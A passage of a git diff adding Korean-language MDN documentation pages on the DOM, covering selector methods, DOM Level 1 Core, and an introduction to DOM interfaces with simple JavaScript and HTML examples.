+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Document_Object_Model/Examples">DOM 예제 </a></li>
+ <li><a href="/ko/docs/Web/API/CSS_Object_Model">CSS 객체 모델 (CSSOM)</a></li>
+</ul>
diff --git a/files/ko/web/api/document_object_model/locating_dom_elements_using_selectors/index.html b/files/ko/web/api/document_object_model/locating_dom_elements_using_selectors/index.html
new file mode 100644
index 0000000000..07d0d169e4
--- /dev/null
+++ b/files/ko/web/api/document_object_model/locating_dom_elements_using_selectors/index.html
@@ -0,0 +1,51 @@
+---
+title: 선택자로 DOM 요소 선택하기
+slug: Web/API/Document_Object_Model/Locating_DOM_elements_using_selectors
+tags:
+  - Beginner
+  - DOM
+translation_of: Web/API/Document_object_model/Locating_DOM_elements_using_selectors
+---
+<div>{{ gecko_minversion_header("1.9.1") }}</div>
+
+<p>선택자 API는 DOM에서 {{domxref("Element")}} 노드를 선택자를 통해 빠르고 쉽게 가져올 수 있는 메서드를 제공합니다. 이 방법은 JavaScript 코드에서 반복문을 통해 특성 요소를 탐색하던 이전 방법보다 훨씬 빠릅니다.</p>
+
+<h2 id="NodeSelector_인터페이스">NodeSelector 인터페이스</h2>
+
+<p>본 명세는 {{domxref("Document")}}, {{domxref("DocumentFragment")}}, {{domxref("Element")}} 인터페이스를 구현하는 모든 객체에 메서드 두 개를 추가합니다.</p>
+
+<dl>
+ <dt><code>querySelector</code></dt>
+ <dd>노드의 하위 트리에서 첫 번째로 일치하는 {{domxref("Element")}} 노드를 반환합니다. 결과가 없으면 <code>null</code>을 반환합니다.</dd>
+ <dt><code>querySelectorAll</code></dt>
+ <dd>노드의 하위 트리 안에서 일치하는 모든 <code>Element</code>를 포함한 {{domxref("NodeList")}}를 반환합니다. 결과가 없으면 빈 <code>NodeList</code>를 반환합니다.</dd>
+</dl>
+
+<div class="note"><strong>참고:</strong> The <code><a class="internal" href="/en-US/docs/DOM/NodeList" title="en-US/docs/DOM/NodeList">NodeList</a></code> returned by <code><a class="internal" href="/en-US/docs/DOM/Element.querySelectorAll" title="en-US/docs/DOM/Element.querySelectorAll">querySelectorAll()</a></code> is not live, which means that changes in the DOM are not reflected in the collection. This is different from other DOM querying methods that return live node lists.</div>
+
+<p>You may find examples and details by reading the documentation for the <a class="internal" href="/en-US/docs/DOM/Element.querySelector" title="en-US/docs/DOM/Element.querySelector"><code>querySelector()</code></a> and <a class="internal" href="/en-US/docs/DOM/Element.querySelectorAll" title="en-US/docs/DOM/Element.querySelectorAll"><code>querySelectorAll()</code></a> methods, as well as in the article <a class="internal" href="/en-US/docs/Code_snippets/QuerySelector" title="en-US/docs/Code snippets/QuerySelector">Code snippets for querySelector</a>.</p>
+
+<h2 id="선택자">선택자</h2>
+
+<p>The selector methods accept one or more comma-separated selectors to determine what element or elements should be returned. For example, to select all paragraph (<code>p</code>) elements in a document whose CSS class is either <code>warning</code> or <code>note</code>, you can do the following:</p>
+
+<pre><code>var special = document.querySelectorAll( "p.warning, p.note" );</code></pre>
+
+<p>You can also query by ID. For example:</p>
+
+<pre><code>var el = document.querySelector( "#main, #basic, #exclamation" );</code></pre>
+
+<p>After executing the above code, <code>el</code> contains the first element in the document whose ID is one of <code>main</code>, <code>basic</code>, or <code>exclamation</code>.</p>
+
+<p>You may use any CSS selectors with the <code>querySelector()</code> and <code>querySelectorAll()</code> methods.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/selectors-api/" title="http://www.w3.org/TR/selectors-api/">Selectors API</a></li>
+ <li><a href="/en-US/docs/DOM/Element.querySelector" title="en-US/docs/DOM/Element.querySelector"><code>element.querySelector</code></a></li>
+ <li><a href="/en-US/docs/DOM/Element.querySelectorAll" title="en-US/docs/DOM/element.querySelectorAll"><code>element.querySelectorAll</code></a></li>
+ <li><a href="/en-US/docs/DOM/Document.querySelector" title="en-US/docs/DOM/document.querySelector"><code>document.querySelector</code></a></li>
+ <li><a href="/en-US/docs/DOM/Document.querySelectorAll" title="en-US/docs/DOM/document.querySelectorAll"><code>document.querySelectorAll</code></a></li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector" title="en-US/docs/Code_snippets/QuerySelector">Code snippets for querySelector</a></li>
+</ul>
diff --git a/files/ko/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html b/files/ko/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html
new file mode 100644
index 0000000000..6bb71e8b44
--- /dev/null
+++ b/files/ko/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html
@@ -0,0 +1,95 @@
+---
+title: W3C DOM Level 1 Core 사용하기
+slug: Web/API/Document_Object_Model/Using_the_W3C_DOM_Level_1_Core
+tags:
+  - DOM
+  - NeedsUpdate
+translation_of: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core
+---
+<div>{{DefaultAPISidebar("DOM")}}</div>
+
+<div></div>
+
+<p>The W3C's DOM Level 1 Core 는 documents의 콘텐츠 트리를 변경하기 위한 강력한 객체형 모델입니다. 웹 스크립팅을 위한 초석이기도 한 이 모델은 Mozilla Firefox and Microsoft Internet Explorer를 포함한 주요 브라우저에서 지원합니다.</p>
+
+<h2 id="What_is_a_content_tree.3F" name="What_is_a_content_tree.3F">What is a content tree?</h2>
+
+<p>많은 HTML 웹 페이지 저자(이하 개발자)는 HTML를 - 태그와 글자로 버무려진 - 평평한 무언가라고 생각할 수 있습니다. 하지만 HTML은, 그 이상의 의미를 가지고 있습니다. 모든 HTML 문서 (SGML document or XML document 또한) 트리 구조를 가지고 있습니다. 예를 들면 아래의 문서와 도면의 구조는 굉장히 유사합니다. (완전히 같지는 않습니다! <a href="/en-US/docs/Web/API/Document_Object_Model/Whitespace_in_the_DOM">whitespace in the DOM</a> 문서를 참조하세요.)</p>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;My Document&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h1&gt;Header&lt;/h1&gt;
+  &lt;p&gt;Paragraph&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><img alt="image:Using_the_W3C_DOM_Level_1_Core-doctree.jpg" class="internal" src="/@api/deki/files/415/=Using_the_W3C_DOM_Level_1_Core-doctree.jpg"></p>
+
+<p>모질라에서 어떤 HTML 문서를 파싱할 때, 컨텐츠 트리를 만들고 이를 HTML 보여줄 때 사용합니다.</p>
+
+<p>DOM Level 1 Core에 대해서 설명하기 위한 용어에 대한 설명입니다. 위 도면에서 나온 모든 박스는 트리의 노드입니다. 한 노드 위의 선은 노드 간의 부모 - 자식 관계를 설명합니다. 상위 노드가 부모 노드이고, 하위 노드는 자식 노드입니다. 두 자식 노드를 같은 부모 노드를 가지고 있기 때문에 형제자매 노드라고 부를 수 있습니다. 비슷하게, ancestors와 descendants라는 용어를 사용할 수도 있습니다.</p>
+
+<h2 id="What_does_the_DOM_Level_1_Core_let_me_do.3F" name="What_does_the_DOM_Level_1_Core_let_me_do.3F">What does the DOM Level 1 Core let me do?</h2>
+
+<p>The W3C DOM Level 1은 컨텐츠 트리를 웹 페이지 <em>개발자가 원하는 어떤 방식으로든</em> 바꿀 수 있게 합니다. 백지 상태에서 HTML 문서를 제작할 수 있을 만큼 강력합니다. 또한 스크립트 언어를 통해 언제 어디서든 HTML 문서를 개발자가 조작할 수 있도록 합니다. 자바스크립트를 통해서 개발자는 동적으로 DOM을 가장 쉽게 변경할 수 있습니다. 자바스크립트는 전역 객체의 <code>document</code> 객체를 통해 오래된 브라우저가 접근했던 그 방식대로, HTML 문서에 접근 가능합니다, 이 <code>document</code> 객체는 the W3C's DOM Level 1 spec의 <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#i-Document">Document interface</a> 가 적용되어 있습니다.</p>
+
+<h2 id="A_simple_example" name="A_simple_example">A simple example</h2>
+
+<p>개발자가 상단의 HTML 문서에서 header의 내용을 바꾸고, 한 문단(Paragraph) 대신 두 문단으로 적용하고 싶다면, 아래와 같은 스크립트를 작성할 수 있습니다. </p>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;body&gt;
+&lt;input type="button" value="Change this document." onclick="change()"&gt;
+&lt;h2&gt;Header&lt;/h2&gt;
+&lt;p&gt;Paragraph&lt;/p&gt;
+&lt;/body&gt;<span>
+</span></pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js"><span>  function change() {
+    // document.getElementsByTagName("H2") 는 &lt;h2&gt; 엘리먼트의
+    // NodeList를 반환(return)합니다. 0부터 시작합니다.
+
+    var header = document.getElementsByTagName("H2").item(0);
+    // 헤더의 첫번째 자식 노드는 Text 노드입니다.
+    header.firstChild.data = "A dynamic document";
+    // 이제 헤더는 "A dynamic document"가 되었습니다.
+
+    var para = document.getElementsByTagName("P").item(0);
+    para.firstChild.data = "This is the first paragraph.";
+
+    // 두번째 문단을 만들기 위한 새로운 Text 노드를 만들었습니다.
+    var newText = document.createTextNode("This is the second paragraph.");
+    // 두번째 문단을 만들기 위한 새로운 p 엘리먼트를 만들었습니다.
+    var newElement = document.createElement("P");
+    // 새로운 p 엘리먼트에 텍스트를 넣어 문단을 만듭니다.
+    newElement.appendChild(newText);
+    // 생성한 문단을 HTML 문서 마지막에 넣기 위해
+    // (para의 부모인) HTML BODY에 append합니다.
+    para.parentNode.appendChild(newElement);
+  }</span></pre>
+
+<p>{{ EmbedLiveSample('A_simple_example', 800, 300) }}</p>
+
+<p><a href="/@api/deki/files/2866/=example.html">여기</a>에서 완성된 예시를 확인하실 수 있습니다.</p>
+
+<h2 id="How_can_I_learn_more.3F" name="How_can_I_learn_more.3F">How can I learn more?</h2>
+
+<p>이제 DOM의 기본적인 개념에 대한 설명이 끝났습니다. <a href="/en-US/docs/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces">DOM Level 1 fundamental methods</a> 에 대해서 궁금하시다면, 더 자세히 공부하실 수 있습니다.</p>
+
+<p>더욱 정확하고 엄밀한 설명은 W3C <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html">DOM Level 1 Core specification</a> 에서 확인하실 수 있습니다. 개발자에게 정보는 DOM 객체에 대한 설명과, 객체의 특성과 메소드에 대한 설명이 특히 유용합니다. <a href="/en-US/docs/DOM">MDN의 다른 DOM 관련 문서</a>도 참고 부탁 드립니다.</p>
+
+<div class="originaldocinfo">
+<p><strong>Original Document Information</strong></p>
+
+<ul>
+ <li>Author(s): L. David Baron &lt;dbaron at dbaron dot org&gt; </li>
+ <li>Copyright Information: © 1998-2005 by individual mozilla.org contributors; content available under a <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Creative Commons license</a></li>
+</ul>
+</div>
diff --git a/files/ko/web/api/document_object_model/소개/index.html b/files/ko/web/api/document_object_model/소개/index.html
new file mode 100644
index 0000000000..b31dbc43d9
--- /dev/null
+++ b/files/ko/web/api/document_object_model/소개/index.html
@@ -0,0 +1,239 @@
+---
+title: DOM 소개
+slug: Web/API/Document_Object_Model/소개
+tags:
+  - DOM
+  - 가이드
+  - 문서
+translation_of: Web/API/Document_Object_Model/Introduction
+---
+<p>이 문서는 {{glossary("DOM")}}에 대한 개념을 간략하게 소개하는 문서이다: DOM 이 무엇이며, 그것이 어떻게 {{glossary("HTML")}}, {{glossary("XML")}} 문서들을 위한 구조를 제공하는지, 어떻게 DOM 에 접근하는지, API 가 어떻게 사용되는지에 대한 참조 정보와 예제들을 제공한다. </p>
+
+<h2 id="What_is_the_DOM" name="What_is_the_DOM">DOM 이란?</h2>
+
+<p>문서 객체 모델(The Document Object Model, 이하 DOM) 은 HTML, XML 문서의 프로그래밍 interface 이다. DOM은 문서의 구조화된 표현(structured representation)을 제공하며 프로그래밍 언어가 DOM 구조에 접근할 수 있는 방법을 제공하여 그들이 문서 구조, 스타일, 내용 등을 변경할 수 있게 돕는다. DOM 은 구조화된 nodes와 property 와 method 를 갖고 있는 objects로 문서를 표현한다. 이들은 웹 페이지를 스크립트 또는 프로그래밍 언어들에서 사용될 수 있게 연결시켜주는 역할을 담당한다.</p>
+
+<p>웹 페이지는 일종의 문서(document)다.  이 문서는 웹 브라우저를 통해 그 내용이 해석되어 웹 브라우저 화면에 나타나거나 HTML 소스 자체로 나타나기도 한다. 동일한 문서를 사용하여 이처럼 다른 형태로 나타날 수 있다는 점에 주목할 필요가 있다. DOM 은 동일한 문서를 표현하고, 저장하고, 조작하는 방법을 제공한다. DOM 은 웹 페이지의 객체 지향 표현이며, 자바스크립트와 같은 스크립팅 언어를 이용해 DOM 을 수정할 수 있다.</p>
+
+<p><a class="external" href="http://www.w3.org/DOM/">W3C DOM</a>, <a class="external" href="https://dom.spec.whatwg.org">WHATWG DOM</a> 표준은 대부분의 브라우저에서 DOM 을 구현하는 기준이다. 많은 브라우저들이 표준 규약에서 제공하는 기능 외에도 추가적인 기능들을 제공하기 때문에 사용자가 작성한 문서들이 각기 다른 DOM 이 적용된 다양한 브라우저 환경에서 동작할 수 있다는 사실을 항상 인지하고 있어야 한다.</p>
+
+<p>예를 들어, 표준 DOM 에서는 문서 안에서 모든 <code>&lt;P&gt;</code> elements 에 대한 list 를 리턴하는 <code>getElementsByTagName</code> method 를 정의하고 있다:</p>
+
+<pre class="brush: js">var paragraphs = document.getElementsByTagName("P");
+// paragraphs[0] is the first &lt;p&gt; element
+// paragraphs[1] is the second &lt;p&gt; element, etc.
+alert(paragraphs[0].nodeName);
+</pre>
+
+<p>웹 페이지를 수정하거나 생성하는데 사용되는 모든 property, method, event 들은 objects 로 구성된다. 예를 들어 document object 는 document 자체를 의미하며, table object 는 HTML table 에 접근하기 위한 <code>HTMLTableElement</code> DOM 인터페이스를 구현한 것이다. 이 문서는 Gecko 기반의 브라우저에서 구현된 DOM 에 대한 object-by-object reference 를 제공한다.</p>
+
+<h2 id="DOM_and_JavaScript" name="DOM_and_JavaScript">DOM 과 자바스크립트</h2>
+
+<p>이 문서의 대부분의 예제와 같이, 위에서 사용된 예제는 {{glossary("JavaScript")}}이다. 위의 예제는 자바스크립트로 작성되었지만 문서(document) 와 문서의 요소(element) 에 접근하기 위해 DOM 이 사용되었다. DOM 은 프로그래밍 언어는 아니지만 DOM 이 없다면 자바스크립트 언어는 웹 페이지 또는 XML 페이지 및 요소들과 관련된 모델이나 개념들에 대한 정보를 갖지 못하게 된다. 문서의 모든 element - 전체 문서, 헤드, 문서 안의 table, table header, table cell 안의 text - 는 문서를 위한 document object model 의 한 부분이다. 때문에, 이러한 요소들을 DOM 과 자바스크립트와 같은 스크립팅 언어를 통해 접근하고 조작할 수 있는 것이다.  </p>
+
+<p>초창기에는 자바스크립트와 DOM 가 밀접하게 연결되어 있었지만,  나중에는 각각 분리되어 발전해왔다. 페이지 콘텐츠(the page content)는 DOM 에 저장되고 자바스크립트를 통해 접근하거나 조작할 수 있다. 이것을 방정식으로 표현하면 아래와 같다:</p>
+
+<p>API (web or XML page) = DOM + JS (scripting language)</p>
+
+<p>DOM 은 프로그래밍 언어와 독립적으로 디자인되었다. 때문에 문서의 구조적인 표현은 단일 API 를 통해 이용가능하다.  이 문서에서는 자바스크립트를 주로 사용하였지만, DOM 의 구현은 어떠한 언어에서도 가능하다. 아래는 파이썬을 사용한 예제이다:</p>
+
+<pre class="brush: python"># Python DOM example
+import xml.dom.minidom as m
+doc = m.parse("C:\\Projects\\Py\\chap1.xml");
+doc.nodeName # DOM property of document object;
+p_list = doc.getElementsByTagName("para");
+</pre>
+
+<p>웹에서 자바스크립트 사용하기와 관련된 기술에 대한 추가정보는 <a href="/ko/docs/Web/JavaScript/JavaScript_technologies_overview">자바스크립트 기술 개요</a> 문서를 참조하라.</p>
+
+<h2 id="How_Do_I_Access_the_DOM.3F" name="How_Do_I_Access_the_DOM.3F">DOM 에 어떻게 접근할 수 있는가?</h2>
+
+<p>DOM 을 사용하기 위해 특별히 해야할 일은 없다. 각각의 브라우저는 자신만의 방법으로 DOM 구현하였으며, 이로 인해 실제 DOM 기준을 따르는지 확인해야 하는 번거로움이 발생하였다. (이 문제는 이 문서에서 피하고 싶어하는 주제이기도 하다.) 모든 웹 브라우저는 스크립트가 접근할 수 있는 웹 페이지를 만들기 위해 어느 정도의 DOM 을 항상 사용한다. </p>
+
+<p>스크립트를 작성할 때(인라인 &lt;script&gt; 요소를 사용하거나 웹 페이지 안에 있는 스크립트 로딩 명령을 사용하여), 문서 자체를 조작하거나 문서의 children 을 얻기 위해 {{domxref("document")}} 또는 <code><a href="/ko/docs/DOM/window" title="DOM/window">window</a></code> elements 를 위한 API 를 즉시 사용할 수 있다. DOM 프로그래밍은 아래처럼 <code><a href="/ko/docs/DOM/window" title="DOM/window">window</a></code> object 로 부터 <code><a href="/ko/docs/DOM/window.alert" title="DOM/window.alert">alert()</a></code> 함수를 사용하여 alert message 를 표시하는 매우 간단한 것일 수도 있고 다음번 예제처럼 새로운 content 를 작성하는 복잡한 DOM 이 될 수도 있다.</p>
+
+<pre class="brush: html">&lt;body onload="window.alert('welcome to my home page!');"&gt;
+</pre>
+
+<p>아래의 자바스크립트는 문서가 로드될 때(모든 DOM을 사용할 수 있게 되는 때임) 실행되는 함수를 정의하였다. 이 함수는 새로운 H1 element 를 생성하고, element 에 text 를 추가하며, H1 을 이 문서의 트리에 추가한다.</p>
+
+<pre class="brush: html">&lt;html&gt;
+  &lt;head&gt;
+    &lt;script&gt;
+       // run this function when the document is loaded
+       window.onload = function() {
+
+         // create a couple of elements in an otherwise empty HTML page
+         var heading = document.createElement("h1");
+         var heading_text = document.createTextNode("Big Head!");
+         heading.appendChild(heading_text);
+         document.body.appendChild(heading);
+      }
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Important_Data_Types" name="Important_Data_Types">중요한 데이터 타입들</h2>
+
+<p>이 문서는 objects 와 types 을 최대한 간단하게 설명하려 한다. API 에는 우리가 반드시 알고 있어야 할 수많은 data types 이 있다는 사실을 염두해 두기 바란다.  이 문서에서는 nodes 는 <code>element</code>s 로, 노드의 arrays 는 <code>nodeList</code>s(또는 <code>element</code>s), attribute 노드들은 <code>attribute</code>s 로 표현하였다.</p>
+
+<p>아래의 표는 이러한 data types 에 대한 간략한 설명이다.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>document</code></td>
+   <td>
+    <p>member 가 document type 의 object 를 리턴할 때(예를 들어 element의 <strong><code>ownerDocument</code></strong> property 는 그것이 속해 있는 document 를 return 한다. ), 이 object 는 root document object 자체이다. 는 <code>document</code> object 에 대한 설명은 <a href="/ko/docs/DOM/document" title="DOM/document">DOM <code>document</code> Reference</a> 챕터를 참조하라.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>element</code></td>
+   <td>
+    <p><code>element</code> 는 DOM API 의 member 에 의해 return 된 element 또는 <code>element</code> type 의 node 를 의미한다. <a href="/ko/docs/Web/API/Document/createElement">document.createElement()</a> method 가 <code>node</code> 를 참조하는 object 를 리턴한다고 말하는 대신, 이 method 가 DOM 안에서 생생되는 <code>element</code> 를 리턴한다고 좀 더 단순하게 말할 수 있다. <code>element</code> 객체들은 DOM <code>Element</code> interface 와 함께 좀 더 기본적인 <code>Node</code> interface 를 구현한 것이기 때문에 이 reference 에는 두 가지가 모두 포함되었다고 생각하면 된다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>nodeList</code></td>
+   <td>
+    <p><code>nodeList</code> 는 elements 의 배열이다. (<a href="/ko/docs/Web/API/Document/getElementsByTagName">document.getElementsByTagName()</a> method 에 의해 리턴된 것과 같은) nodeList의 Items 은 index 를 통해 접근 가능하며, 다음과 같이 두 가지 방식이 있다:</p>
+
+    <ul>
+     <li>list.item(1)</li>
+     <li>list[1]</li>
+    </ul>
+    위의 방식들은 동일한 것이다. <strong><code>item()</code></strong>method는 <code>nodeList</code> object 의 단일 method 이다. 두번째 방식은 list 에서 두번째 item 을 fetch 하는 전형적인 array syntax 이다.  </td>
+  </tr>
+  <tr>
+   <td><code>attribute</code></td>
+   <td>
+    <p>attribute 가 member 에 의해 리턴되는 것은(예를 들어 <strong><code>createAttribute()</code></strong> method 호출에 의한 리턴), attribute 에 대한 특별한 인터페이스를 노출하는 object reference 이다. attributes 는 DOM 에서 elements 와 같은 nodes 이다. elements 만큼 많이 사용되지는 않는다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>namedNodeMap</code></td>
+   <td>
+    <p><code>namedNodeMap</code> 는 array 와 유사하지만 items 은 name 또는 index 에 의해 접근 가능하다. 리스트는 특별한 정렬이 적용되지 않았기 enumeration 할 때 index 를 주로 사용한다. <code>namedNodeMap</code> 는 이를 위해 item() method 가 있으며, <code>namedNodeMap</code> 에 item 을 추가하거나 삭제할 수 있다.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="DOM_interfaces" name="DOM_interfaces">DOM interfaces</h2>
+
+<p>이 문서는 objects 와 DOM 에서 조작가능한 것들에 대해 설명하고 있다. 사람들은 HTML FORM element 가 <code>HTMLFormElement</code> interface 로부터 <strong><code>name</code></strong> property 를 얻고, <strong><code>className</code></strong> property 는  <code>HTMLElement</code> interface 로부터 얻는 것에 대해 별로 관심을 보이지 않는 것 같다. 두가지 경우 모두, property 는 form object 안에 있는 것이다. </p>
+
+<p>하지만 DOM 안에 구현된 objects 와 interfaces 사이의 관계는 혼동될 수 있다. 이 섹션에서는 DOM specification 안의 실제  interfaces 와 그들을 어떻게 활용할 수 있는지에 대해 살펴보도록 하겠다.</p>
+
+<h3 id="Interfaces_and_Objects" name="Interfaces_and_Objects">Interfaces 와 Objects</h3>
+
+<p>많은 objects 가 여러 개의 다른 interfaces 와 연관되어 있다.  예를 들어, table object 는 <code>createCaption</code>, <code>insertRow</code> method 들이 포함된 {{domxref("HTMLTableElement")}} 을 구현한 것이다. table object 는 HTML element 이기도 하기 때문에, <code>table</code> 은 <code>Element</code> interface(DOM {{domxref("Element")}} Reference 챕터 참조)도 구현한다. 마지막으로, HTML element 는 DOM 이 연관되어 있는 한 nodes 트리(tree)에서 하나의 node 이다. nodes 트리는 웹 페이지 또는 XML 페이지를 위한 object model 을 구성한다. 때문에 table element 는 보다 기본적인 <code>Element</code> 에서 파생된 <code>Node</code> interface 를 구현하고 있다.</p>
+
+<p>아래의 예제처럼, <code>table</code> object 를 참조하게 되면, 기본적으로 이들 3 가지 interfaces 를 사용할 수 있게 된다.</p>
+
+<pre class="brush: js">var table = document.getElementById("table");
+var tableAttrs = table.attributes; // Node/Element interface
+for (var i = 0; i &lt; tableAttrs.length; i++) {
+  // HTMLTableElement interface: border attribute
+  if(tableAttrs[i].nodeName.toLowerCase() == "border")
+    table.border = "1";
+}
+// HTMLTableElement interface: summary attribute
+table.summary = "note: increased border";
+</pre>
+
+<h3 id="Core_Interfaces_in_the_DOM" name="Core_Interfaces_in_the_DOM">DOM 의 핵심 Interfaces</h3>
+
+<p>이 섹션은 DOM 에서 가장 많이 사용되는 interfaces 를 정리해보았다. 여기에서는 이들 API 가 실제로 어떤 일을 하는지 설명하는 대신 DOM 을 사용하면서 자주 만나게 되는 methods 와 properties 를 보여줄 것이다.  이들 API 는 이 책의 마지막에 소개된 <a href="/ko/docs/Gecko_DOM_Reference/Examples" title="Gecko_DOM_Reference/Examples">DOM 예제</a>에서도 사용되었다.</p>
+
+<p><code>Document</code> 와 <code>window</code> objects 는 DOM 프로그래밍에서 가장 자주 사용하는 objects 이다.  간단하게 설명하자면, <code>window</code> object 는 브라우저와 같다고 할 수 있으며, <code>document</code> object 는 root document 자체라고 할 수 있다. generic <code>Node</code> interface 로부터 상속받은 <code>Element</code> 와 <code>Node</code>, <code>Element</code> interfaces 가 협력하여 각각의 elements 에서 사용할 수 있는 수많은 methods 와 properties 를 제공한다. 이러한 elements 는 이전 섹션에서 설명한 <code>table</code> object 예제에서도 살펴봤듯이, elements 가 보유한 데이터를 처리할 수 있는 특정한 interfaces 도 가지고 있다.</p>
+
+<p>아래는 웹 페이지, XML 페이지 스크립팅에서 DOM 을 사용하는 공통적인 API 들의 간략한 목록이다. </p>
+
+<ul>
+ <li><code><a href="/ko/docs/DOM/document.getElementById" title="DOM/document.getElementById">document.getElementById</a>(id)</code></li>
+ <li><code>document.<a href="/ko/docs/Web/API/Element.getElementsByTagName" title="DOM/element.getElementsByTagName">getElementsByTagName</a>(name)</code></li>
+ <li><code><a href="/ko/docs/DOM/document.createElement" title="DOM/document.createElement">document.createElement</a>(name)</code></li>
+ <li><code>parentNode.<a href="/ko/docs/DOM/Node.appendChild" title="DOM/Node.appendChild">appendChild</a>(node)</code></li>
+ <li><code>element.<a href="/ko/docs/DOM/element.innerHTML" title="DOM/element.innerHTML">innerHTML</a></code></li>
+ <li><code>element.<a href="/ko/docs/DOM/element.style" title="DOM/element.style">style</a>.left</code></li>
+ <li><code>element.<a href="/ko/docs/DOM/element.setAttribute" title="DOM/element.setAttribute">setAttribute</a></code></li>
+ <li><code>element.<a href="/kodocs/DOM/element.getAttribute" title="DOM/element.getAttribute">getAttribute</a></code></li>
+ <li><code>element.<a href="/ko/docs/DOM/element.addEventListener" title="DOM/element.addEventListener">addEventListener</a></code></li>
+ <li><code><a href="/ko/docs/DOM/window.content" title="DOM/window.content">window.content</a></code></li>
+ <li><code><a href="/ko/docs/DOM/window.onload" title="DOM/window.onload">window.onload</a></code></li>
+ <li><code><a href="/ko/docs/DOM/window.dump" title="DOM/window.dump">window.dump</a></code></li>
+ <li><code><a href="/ko/docs/DOM/window.scrollTo" title="DOM/window.scrollTo">window.scrollTo</a></code></li>
+</ul>
+
+<h2 id="Testing_the_DOM_API" name="Testing_the_DOM_API">DOM API 테스팅</h2>
+
+<p>이 문서는 사용자가 웹 개발에 사용할 수 있는 모든 interface 에 대한 예제를 제공한다. 예제는 <code>&lt;script&gt;</code> element 안에서 DOM 에 접근하는 완벽한 HTML 페이지 형태인 것도 있고, form 에서 script 를 실행하기 위해 버튼과 같은 interface 가 필요한 경우도 있으며, DOM 이 목록화되어 수행되는 HTML elements 도 있을 것이다. 사용자들은 이러한 예제를 새로운 HTML 문서에 복사하여 브라우저에서 실행할 수 있다. </p>
+
+<p>어떤 예제는 매우 간단할 수도 있다. HTML elements 에 대한 interface의 기본적인 관계만 보여주는 이러한 예제를 실행할 때는, 스크립트에서 쉽게 접근할 수 있는 test page 를 설정할 수도 있다. 아래의 예제는 interface를 테스트 할 수 있는 함수가 위치할 수 있는 header 안에  <code>&lt;script&gt;</code> element 제공한다. 이 함수는 retrieve, set, 조작할 수 있는 attributes 가 포함된 HTML elements 가 사용되었으며, 브라우저에서 이들 함수를 호출하기 위해 웹 UI 를 제공한다.</p>
+
+<p>사용자는 자신이 관심있어 하는 DOM interfaces 를 테스트 하기 위해, 이 test page 를 사용하거나 이와 비슷한 것을 만들어 브라우저에서 어떻게 동작하는지 확인할 수 있다. 사용자는 <code>test()</code> 함수 내용을 필요에 따라 업데이트할 수 있다. (버튼 추가, elements 추가 등)</p>
+
+<pre class="brush: html">&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;DOM Tests&lt;/title&gt;
+    &lt;script type="application/javascript"&gt;
+    function setBodyAttr(attr,value){
+      if (document.body) eval('document.body.'+attr+'="'+value+'"');
+      else notSupported();
+    }
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;div style="margin: .5in; height: 400;"&gt;
+      &lt;p&gt;&lt;b&gt;&lt;tt&gt;text&lt;/tt&gt;color&lt;/b&gt;&lt;/p&gt;
+      &lt;form&gt;
+        &lt;select onChange="setBodyAttr('text',
+        this.options[this.selectedIndex].value);"&gt;
+          &lt;option value="black"&gt;black
+          &lt;option value="darkblue"&gt;darkblue
+        &lt;/select&gt;
+        &lt;p&gt;&lt;b&gt;&lt;tt&gt;bgColor&lt;/tt&gt;&lt;/b&gt;&lt;/p&gt;
+        &lt;select onChange="setBodyAttr('bgColor',
+        this.options[this.selectedIndex].value);"&gt;
+          &lt;option value="white"&gt;white
+          &lt;option value="lightgrey"&gt;gray
+        &lt;/select&gt;
+        &lt;p&gt;&lt;b&gt;&lt;tt&gt;link&lt;/tt&gt;&lt;/b&gt;&lt;/p&gt;
+        &lt;select onChange="setBodyAttr('link',
+        this.options[this.selectedIndex].value);"&gt;
+          &lt;option value="blue"&gt;blue
+          &lt;option value="green"&gt;green
+        &lt;/select&gt;  &lt;small&gt;
+        &lt;a href="http://www.brownhen.com/dom_api_top.html" id="sample"&gt;
+        (sample link)&lt;/a&gt;&lt;/small&gt;&lt;br&gt;
+      &lt;/form&gt;
+      &lt;form&gt;
+        &lt;input type="button" value="version" onclick="ver()" /&gt;
+      &lt;/form&gt;
+    &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>단일 페이지(예를 들어, 웹 페이지의 색상에 영향을 주는 property 설정하는) 안의 수많은 interfaces 를 테스트하기 위해 설정 버튼, textfield, 또는 다른 HTML elements를 사용하여 유사한 테스트 페이지를 만들 수 있다. 아래의 스크린샷은 테스트를 위해 어떻게 interfaces를 그룹화하는지에 대한 아이디어를 제공하고 있다.  </p>
+
+<figure>
